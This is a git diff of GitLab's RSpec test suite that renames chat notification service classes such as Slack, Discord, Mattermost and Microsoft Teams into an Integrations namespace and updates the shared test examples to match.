a/spec/features/boards/sidebar_assignee_spec.rb b/spec/features/boards/sidebar_assignee_spec.rb index d6adefea6e3..63553cec89b 100644 --- a/spec/features/boards/sidebar_assignee_spec.rb +++ b/spec/features/boards/sidebar_assignee_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' -RSpec.describe 'Project issue boards sidebar assignee', :js do +RSpec.describe 'Project issue boards sidebar assignee', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332230' do include BoardHelpers let_it_be(:user) { create(:user) } diff --git a/spec/features/projects/services/user_activates_slack_notifications_spec.rb b/spec/features/projects/services/user_activates_slack_notifications_spec.rb index 0cba1ee1c4c..dec83ff1489 100644 --- a/spec/features/projects/services/user_activates_slack_notifications_spec.rb +++ b/spec/features/projects/services/user_activates_slack_notifications_spec.rb @@ -20,7 +20,7 @@ RSpec.describe 'User activates Slack notifications', :js do end context 'when service is already configured' do - let(:service) { SlackService.new } + let(:service) { Integrations::Slack.new } let(:project) { create(:project, slack_service: service) } before do diff --git a/spec/lib/mattermost/client_spec.rb b/spec/lib/mattermost/client_spec.rb index 32755d1103c..5d57a226baf 100644 --- a/spec/lib/mattermost/client_spec.rb +++ b/spec/lib/mattermost/client_spec.rb @@ -14,13 +14,13 @@ RSpec.describe Mattermost::Client do it 'yields an error on malformed JSON' do bad_json = Struct::Request.new("I'm not json", true) - expect { subject.send(:json_response, bad_json) }.to raise_error(Mattermost::ClientError) + expect { subject.send(:json_response, bad_json) }.to raise_error(::Mattermost::ClientError) end it 'shows a client error if the request was unsuccessful' do bad_request = Struct::Request.new("true", false) - expect { subject.send(:json_response, bad_request) }.to raise_error(Mattermost::ClientError) + expect { subject.send(:json_response, bad_request) }.to raise_error(::Mattermost::ClientError) end end end diff --git a/spec/lib/mattermost/command_spec.rb b/spec/lib/mattermost/command_spec.rb index 0f2711e0b11..18cd1ff97a6 100644 --- a/spec/lib/mattermost/command_spec.rb +++ b/spec/lib/mattermost/command_spec.rb @@ -6,10 +6,10 @@ RSpec.describe Mattermost::Command do let(:params) { { 'token' => 'token', team_id: 'abc' } } before do - session = Mattermost::Session.new(nil) + session = ::Mattermost::Session.new(nil) session.base_uri = 'http://mattermost.example.com' - allow_any_instance_of(Mattermost::Client).to receive(:with_session) + allow_any_instance_of(::Mattermost::Client).to receive(:with_session) .and_yield(session) end @@ -57,7 +57,7 @@ RSpec.describe Mattermost::Command do end it 'raises an error with message' do - expect { subject }.to raise_error(Mattermost::Error, 'This trigger word is already in use. Please choose another word.') + expect { subject }.to raise_error(::Mattermost::Error, 'This trigger word is already in use. Please choose another word.') end end end diff --git a/spec/lib/mattermost/session_spec.rb b/spec/lib/mattermost/session_spec.rb index 67ccb48e3a7..e2e1b4c28c7 100644 --- a/spec/lib/mattermost/session_spec.rb +++ b/spec/lib/mattermost/session_spec.rb @@ -33,7 +33,7 @@ RSpec.describe Mattermost::Session, type: :request do context 'without oauth uri' do it 'makes a request to the oauth uri' do - expect { subject.with_session }.to raise_error(Mattermost::NoSessionError) + expect { subject.with_session }.to raise_error(::Mattermost::NoSessionError) end end @@ -49,7 +49,7 @@ RSpec.describe Mattermost::Session, type: :request do it 'can not create a session' do expect do subject.with_session - end.to raise_error(Mattermost::NoSessionError) + end.to raise_error(::Mattermost::NoSessionError) end end @@ -113,13 +113,13 @@ RSpec.describe Mattermost::Session, type: :request do expect_to_cancel_exclusive_lease(lease_key, 'uuid') # Cannot set up a session, but we should still cancel the lease - expect { subject.with_session }.to raise_error(Mattermost::NoSessionError) + expect { subject.with_session }.to raise_error(::Mattermost::NoSessionError) end it 'returns a NoSessionError error without lease' do stub_exclusive_lease_taken(lease_key) - expect { subject.with_session }.to raise_error(Mattermost::NoSessionError) + expect { subject.with_session }.to raise_error(::Mattermost::NoSessionError) end end end diff --git a/spec/lib/mattermost/team_spec.rb b/spec/lib/mattermost/team_spec.rb index e3ef5ff5377..b2db770c9b9 100644 --- a/spec/lib/mattermost/team_spec.rb +++ b/spec/lib/mattermost/team_spec.rb @@ -7,7 +7,7 @@ RSpec.describe Mattermost::Team do session = Mattermost::Session.new(nil) session.base_uri = 'http://mattermost.example.com' - allow_any_instance_of(Mattermost::Client).to receive(:with_session) + allow_any_instance_of(::Mattermost::Client).to receive(:with_session) .and_yield(session) end @@ -65,7 +65,7 @@ RSpec.describe Mattermost::Team do end it 'raises an error with message' do - expect { subject }.to raise_error(Mattermost::Error, 'Cannot list teams.') + expect { subject }.to raise_error(::Mattermost::Error, 'Cannot list teams.') end end end @@ -123,7 +123,7 @@ RSpec.describe Mattermost::Team do end it 'raises an error with message' do - expect { subject }.to raise_error(Mattermost::Error, 'A team with that name already exists') + expect { subject }.to raise_error(::Mattermost::Error, 'A team with that name already exists') end end end @@ -169,7 +169,7 @@ RSpec.describe Mattermost::Team do end it 'raises an error with message' do - expect { subject }.to raise_error(Mattermost::Error, "We couldn't find the existing team") + expect { subject }.to raise_error(::Mattermost::Error, "We couldn't find the existing team") end end end diff --git a/spec/models/integration_spec.rb b/spec/models/integration_spec.rb index f9860a911c2..7233f6093b7 100644 --- a/spec/models/integration_spec.rb +++ b/spec/models/integration_spec.rb @@ -672,7 +672,7 @@ RSpec.describe Integration do expect(described_class.service_name_to_model('asana')).to eq(Integrations::Asana) # TODO We can remove this test when all models have been namespaced: # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60968#note_570994955 - expect(described_class.service_name_to_model('webex_teams')).to eq(WebexTeamsService) + expect(described_class.service_name_to_model('pushover')).to eq(PushoverService) end it 'raises an error if service name is invalid' do diff --git a/spec/models/project_services/chat_notification_service_spec.rb b/spec/models/integrations/base_chat_notification_spec.rb index 192b1df33b5..656eaa3bbdd 100644 --- a/spec/models/project_services/chat_notification_service_spec.rb +++ b/spec/models/integrations/base_chat_notification_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' -RSpec.describe ChatNotificationService do +RSpec.describe Integrations::BaseChatNotification do describe 'Associations' do before do allow(subject).to receive(:activated?).and_return(true) diff --git a/spec/models/project_services/discord_service_spec.rb b/spec/models/integrations/discord_spec.rb index ffe0a36dcdc..bff6a8ee5b2 100644 --- a/spec/models/project_services/discord_service_spec.rb +++ b/spec/models/integrations/discord_spec.rb @@ -2,8 +2,8 @@ require "spec_helper" -RSpec.describe DiscordService do - it_behaves_like "chat service", "Discord notifications" do +RSpec.describe Integrations::Discord do + it_behaves_like "chat integration", "Discord notifications" do let(:client) { Discordrb::Webhooks::Client } let(:client_arguments) { { url: webhook_url } } let(:payload) do diff --git a/spec/models/project_services/hangouts_chat_service_spec.rb b/spec/models/integrations/hangouts_chat_spec.rb index 9d3bd457fc8..17b40c484f5 100644 --- a/spec/models/project_services/hangouts_chat_service_spec.rb +++ b/spec/models/integrations/hangouts_chat_spec.rb @@ -2,8 +2,8 @@ require "spec_helper" -RSpec.describe HangoutsChatService do - it_behaves_like "chat service", "Hangouts Chat" do +RSpec.describe Integrations::HangoutsChat do + it_behaves_like "chat integration", "Hangouts Chat" do let(:client) { HangoutsChat::Sender } let(:client_arguments) { webhook_url } let(:payload) do diff --git a/spec/models/project_services/mattermost_service_spec.rb b/spec/models/integrations/mattermost_spec.rb index af1944ea77d..f3e7446897a 100644 --- a/spec/models/project_services/mattermost_service_spec.rb +++ b/spec/models/integrations/mattermost_spec.rb @@ -2,6 +2,6 @@ require 'spec_helper' -RSpec.describe MattermostService do +RSpec.describe Integrations::Mattermost do it_behaves_like "slack or mattermost notifications", "Mattermost" end diff --git a/spec/models/project_services/microsoft_teams_service_spec.rb b/spec/models/integrations/microsoft_teams_spec.rb index 5f3a94a5b99..2f1be233eb2 100644 --- a/spec/models/project_services/microsoft_teams_service_spec.rb +++ b/spec/models/integrations/microsoft_teams_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' -RSpec.describe MicrosoftTeamsService do +RSpec.describe Integrations::MicrosoftTeams do let(:chat_service) { described_class.new } let(:webhook_url) { 'https://example.gitlab.com/' } @@ -64,7 +64,7 @@ RSpec.describe MicrosoftTeamsService do end it 'specifies the webhook when it is configured' do - expect(MicrosoftTeams::Notifier).to receive(:new).with(webhook_url).and_return(double(:microsoft_teams_service).as_null_object) + expect(::MicrosoftTeams::Notifier).to receive(:new).with(webhook_url).and_return(double(:microsoft_teams_service).as_null_object) chat_service.execute(push_sample_data) end diff --git a/spec/models/project_services/slack_service_spec.rb b/spec/models/integrations/slack_spec.rb index 2e2c1c666d9..2c2e7f03003 100644 --- a/spec/models/project_services/slack_service_spec.rb +++ b/spec/models/integrations/slack_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' -RSpec.describe SlackService do +RSpec.describe Integrations::Slack do it_behaves_like "slack or mattermost notifications", 'Slack' describe '#execute' do diff --git a/spec/models/project_services/unify_circuit_service_spec.rb b/spec/models/integrations/unify_circuit_spec.rb index 0c749322e07..7a91b2d3c11 100644 --- a/spec/models/project_services/unify_circuit_service_spec.rb +++ b/spec/models/integrations/unify_circuit_spec.rb @@ -2,8 +2,8 @@ require "spec_helper" -RSpec.describe UnifyCircuitService do - it_behaves_like "chat service", "Unify Circuit" do +RSpec.describe Integrations::UnifyCircuit do + it_behaves_like "chat integration", "Unify Circuit" do let(:client_arguments) { webhook_url } let(:payload) do { diff --git a/spec/models/project_services/webex_teams_service_spec.rb b/spec/models/integrations/webex_teams_spec.rb index ed63f5bc48c..b5cba6762aa 100644 --- a/spec/models/project_services/webex_teams_service_spec.rb +++ b/spec/models/integrations/webex_teams_spec.rb @@ -2,8 +2,8 @@ require "spec_helper" -RSpec.describe WebexTeamsService do - it_behaves_like "chat service", "Webex Teams" do +RSpec.describe Integrations::WebexTeams do + it_behaves_like "chat integration", "Webex Teams" do let(:client_arguments) { webhook_url } let(:payload) do { diff --git a/spec/models/project_services/mattermost_slash_commands_service_spec.rb b/spec/models/project_services/mattermost_slash_commands_service_spec.rb index 87befdd4303..bbe985bfe0c 100644 --- a/spec/models/project_services/mattermost_slash_commands_service_spec.rb +++ b/spec/models/project_services/mattermost_slash_commands_service_spec.rb @@ -11,10 +11,10 @@ RSpec.describe MattermostSlashCommandsService do let(:user) { create(:user) } before do - session = Mattermost::Session.new(nil) + session = ::Mattermost::Session.new(nil) session.base_uri = 'http://mattermost.example.com' - allow_any_instance_of(Mattermost::Client).to receive(:with_session) + allow_any_instance_of(::Mattermost::Client).to receive(:with_session) .and_yield(session) end diff --git a/spec/models/project_spec.rb b/spec/models/project_spec.rb index c47ab3b797c..d1d42892bec 100644 --- a/spec/models/project_spec.rb +++ b/spec/models/project_spec.rb @@ -5250,7 +5250,7 @@ RSpec.describe Project, factory_default: :keep do it 'executes services with the specified scope' do data = 'any data' - expect_next_found_instance_of(SlackService) do |instance| + expect_next_found_instance_of(Integrations::Slack) do |instance| expect(instance).to receive(:async_execute).with(data).once end @@ -5258,7 +5258,7 @@ RSpec.describe Project, factory_default: :keep do end it 'does not execute services that don\'t match the specified scope' do - expect(SlackService).not_to receive(:allocate).and_wrap_original do |method| + expect(Integrations::Slack).not_to receive(:allocate).and_wrap_original do |method| method.call.tap do |instance| expect(instance).not_to receive(:async_execute) end diff --git a/spec/services/groups/create_service_spec.rb b/spec/services/groups/create_service_spec.rb index dca5497de06..b59ee894fe8 100644 --- a/spec/services/groups/create_service_spec.rb +++ b/spec/services/groups/create_service_spec.rb @@ -140,7 +140,7 @@ RSpec.describe Groups::CreateService, '#execute' do end it 'create the chat team with the group' do - allow_any_instance_of(Mattermost::Team).to receive(:create) + allow_any_instance_of(::Mattermost::Team).to receive(:create) .and_return({ 'name' => 'tanuki', 'id' => 'lskdjfwlekfjsdifjj' }) expect { subject }.to change { ChatTeam.count }.from(0).to(1) diff --git a/spec/services/groups/destroy_service_spec.rb b/spec/services/groups/destroy_service_spec.rb index a5fce315d91..c794acdf76d 100644 --- a/spec/services/groups/destroy_service_spec.rb +++ b/spec/services/groups/destroy_service_spec.rb @@ -41,7 +41,7 @@ RSpec.describe Groups::DestroyService do let!(:chat_team) { create(:chat_team, namespace: group) } it 'destroys the team too' do - expect_next_instance_of(Mattermost::Team) do |instance| + expect_next_instance_of(::Mattermost::Team) do |instance| expect(instance).to receive(:destroy) end diff --git a/spec/support/shared_examples/models/chat_service_shared_examples.rb b/spec/support/shared_examples/models/chat_integration_shared_examples.rb index 4a47aad0957..9f3be3e2e06 100644 --- a/spec/support/shared_examples/models/chat_service_shared_examples.rb +++ b/spec/support/shared_examples/models/chat_integration_shared_examples.rb @@ -1,13 +1,13 @@ # frozen_string_literal: true -RSpec.shared_examples "chat service" do |service_name| +RSpec.shared_examples "chat integration" do |integration_name| describe "Associations" do it { is_expected.to belong_to :project } it { is_expected.to have_one :service_hook } end describe "Validations" do - context "when service is active" do + context "when integration is active" do before do subject.active = true end @@ -16,7 +16,7 @@ RSpec.shared_examples "chat service" do |service_name| it_behaves_like "issue tracker service URL attribute", :webhook end - context "when service is inactive" do + context "when integration is inactive" do before do subject.active = false end @@ -47,12 +47,12 @@ RSpec.shared_examples "chat service" do |service_name| WebMock.stub_request(:post, webhook_url) end - shared_examples "triggered #{service_name} service" do |branches_to_be_notified: nil| + shared_examples "triggered #{integration_name} integration" do |branches_to_be_notified: nil| before do subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified end - it "calls #{service_name} API" do + it "calls #{integration_name} API" do result = subject.execute(sample_data) expect(result).to be(true) @@ -63,12 +63,12 @@ RSpec.shared_examples "chat service" do |service_name| end end - shared_examples "untriggered #{service_name} service" do |branches_to_be_notified: nil| + shared_examples "untriggered #{integration_name} integration" do |branches_to_be_notified: nil| before do subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified end - it "does not call #{service_name} API" do + it "does not call #{integration_name} API" do result = subject.execute(sample_data) expect(result).to be(false) @@ -81,7 +81,7 @@ RSpec.shared_examples "chat service" do |service_name| Gitlab::DataBuilder::Push.build_sample(project, user) end - it_behaves_like "triggered #{service_name} service" + it_behaves_like "triggered #{integration_name} integration" it "specifies the webhook when it is configured", if: defined?(client) do expect(client).to receive(:new).with(client_arguments).and_return(double(:chat_service).as_null_object) @@ -95,19 +95,19 @@ RSpec.shared_examples "chat service" do |service_name| end context "when only default branch are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default" end context "when only protected branches are to be notified" do - it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected" + it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected" end context "when default and protected branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected" end context "when all branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all" end end @@ -121,19 +121,19 @@ RSpec.shared_examples "chat service" do |service_name| end context "when only default branch are to be notified" do - it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default" + it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default" end context "when only protected branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "protected" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "protected" end context "when default and protected branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected" end context "when all branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all" end end @@ -143,19 +143,19 @@ RSpec.shared_examples "chat service" do |service_name| end context "when only default branch are to be notified" do - it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default" + it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default" end context "when only protected branches are to be notified" do - it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected" + it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected" end context "when default and protected branches are to be notified" do - it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default_and_protected" + it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default_and_protected" end context "when all branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all" end end end @@ -168,7 +168,7 @@ RSpec.shared_examples "chat service" do |service_name| service.hook_data(issue, "open") end - it_behaves_like "triggered #{service_name} service" + it_behaves_like "triggered #{integration_name} integration" end context "with merge events" do @@ -191,7 +191,7 @@ RSpec.shared_examples "chat service" do |service_name| project.add_developer(user) end - it_behaves_like "triggered #{service_name} service" + it_behaves_like "triggered #{integration_name} integration" end context "with wiki page events" do @@ -207,7 +207,7 @@ RSpec.shared_examples "chat service" do |service_name| let(:wiki_page) { create(:wiki_page, wiki: project.wiki, **opts) } let(:sample_data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, "create") } - it_behaves_like "triggered #{service_name} service" + it_behaves_like "triggered #{integration_name} integration" end context "with note events" do @@ -222,7 +222,7 @@ RSpec.shared_examples "chat service" do |service_name| note: "a comment on a commit") end - it_behaves_like "triggered #{service_name} service" + it_behaves_like "triggered #{integration_name} integration" end context "with merge request comment" do @@ -230,7 +230,7 @@ RSpec.shared_examples "chat service" do |service_name| create(:note_on_merge_request, project: project, note: "merge request note") end - it_behaves_like "triggered #{service_name} service" + it_behaves_like "triggered #{integration_name} integration" end context "with issue comment" do @@ -238,7 +238,7 @@ RSpec.shared_examples "chat service" do |service_name| create(:note_on_issue, project: project, note: "issue note") end - it_behaves_like "triggered #{service_name} service" + it_behaves_like "triggered #{integration_name} integration" end context "with snippet comment" do @@ -246,7 +246,7 @@ RSpec.shared_examples "chat service" do |service_name| create(:note_on_project_snippet, project: project, note: "snippet note") end - it_behaves_like "triggered #{service_name} service" + it_behaves_like "triggered #{integration_name} integration" end end @@ -262,14 +262,14 @@ RSpec.shared_examples "chat service" do |service_name| context "with failed pipeline" do let(:status) { "failed" } - it_behaves_like "triggered #{service_name} service" + it_behaves_like "triggered #{integration_name} integration" end context "with succeeded pipeline" do let(:status) { "success" } context "with default notify_only_broken_pipelines" do - it "does not call #{service_name} API" do + it "does not call #{integration_name} API" do result = subject.execute(sample_data) expect(result).to be_falsy @@ -281,7 +281,7 @@ RSpec.shared_examples "chat service" do |service_name| subject.notify_only_broken_pipelines = false end - it_behaves_like "triggered #{service_name} service" + it_behaves_like "triggered #{integration_name} integration" end end @@ -291,19 +291,19 @@ RSpec.shared_examples "chat service" do |service_name| end context "when only default branch are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default" end context "when only protected branches are to be notified" do - it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected" + it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected" end context "when default and protected branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected" end context "when all branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all" end end @@ -317,19 +317,19 @@ RSpec.shared_examples "chat service" do |service_name| end context "when only default branch are to be notified" do - it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default" + it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default" end context "when only protected branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "protected" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "protected" end context "when default and protected branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected" end context "when all branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all" end end @@ -339,19 +339,19 @@ RSpec.shared_examples "chat service" do |service_name| end context "when only default branch are to be notified" do - it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default" + it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default" end context "when only protected branches are to be notified" do - it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected" + it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected" end context "when default and protected branches are to be notified" do - it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default_and_protected" + it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default_and_protected" end context "when all branches are to be notified" do - it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all" + it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all" end end end diff --git a/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb b/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb index 09b7d1be704..ddcf693db7e 100644 --- a/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb +++ b/spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb @@ -81,7 +81,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| shared_examples 'calls the service API with the event message' do |event_message| specify do - expect_next_instance_of(Slack::Messenger) do |messenger| + expect_next_instance_of(::Slack::Messenger) do |messenger| expect(messenger).to receive(:ping).with(event_message, anything).and_call_original end @@ -95,7 +95,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| let(:chat_service_params) { { username: 'slack_username' } } it 'uses the username as an option' do - expect(Slack::Messenger).to execute_with_options(username: 'slack_username') + expect(::Slack::Messenger).to execute_with_options(username: 'slack_username') execute_service end @@ -110,7 +110,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| let(:chat_service_params) { { push_channel: 'random' } } it 'uses the right channel for push event' do - expect(Slack::Messenger).to execute_with_options(channel: ['random']) + expect(::Slack::Messenger).to execute_with_options(channel: ['random']) execute_service end @@ -136,7 +136,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| let(:chat_service_params) { { issue_channel: 'random' } } it 'uses the right channel for issue event' do - expect(Slack::Messenger).to execute_with_options(channel: ['random']) + expect(::Slack::Messenger).to execute_with_options(channel: ['random']) execute_service end @@ -147,7 +147,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| end it 'falls back to issue channel' do - expect(Slack::Messenger).to execute_with_options(channel: ['random']) + expect(::Slack::Messenger).to execute_with_options(channel: ['random']) execute_service end @@ -156,7 +156,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| let(:chat_service_params) { { issue_channel: 'random', confidential_issue_channel: 'confidential' } } it 'uses the confidential issue channel when it is defined' do - expect(Slack::Messenger).to execute_with_options(channel: ['confidential']) + expect(::Slack::Messenger).to execute_with_options(channel: ['confidential']) execute_service end @@ -175,7 +175,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| let(:chat_service_params) { { merge_request_channel: 'random' } } it 'uses the right channel for merge request event' do - expect(Slack::Messenger).to execute_with_options(channel: ['random']) + expect(::Slack::Messenger).to execute_with_options(channel: ['random']) execute_service end @@ -192,7 +192,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| let(:chat_service_params) { { wiki_page_channel: 'random' } } it 'uses the right channel for wiki event' do - expect(Slack::Messenger).to execute_with_options(channel: ['random']) + expect(::Slack::Messenger).to execute_with_options(channel: ['random']) execute_service end @@ -216,7 +216,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| let(:chat_service_params) { { note_channel: 'random' } } it 'uses the right channel' do - expect(Slack::Messenger).to execute_with_options(channel: ['random']) + expect(::Slack::Messenger).to execute_with_options(channel: ['random']) execute_service end @@ -227,7 +227,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| end it 'falls back to note channel' do - expect(Slack::Messenger).to execute_with_options(channel: ['random']) + expect(::Slack::Messenger).to execute_with_options(channel: ['random']) execute_service end @@ -236,7 +236,7 @@ RSpec.shared_examples 'slack or mattermost notifications' do |service_name| let(:chat_service_params) { { note_channel: 'random', confidential_note_channel: 'confidential' } } it 'uses confidential channel' do - expect(Slack::Messenger).to execute_with_options(channel: ['confidential']) + expect(::Slack::Messenger).to execute_with_options(channel: ['confidential']) execute_service end |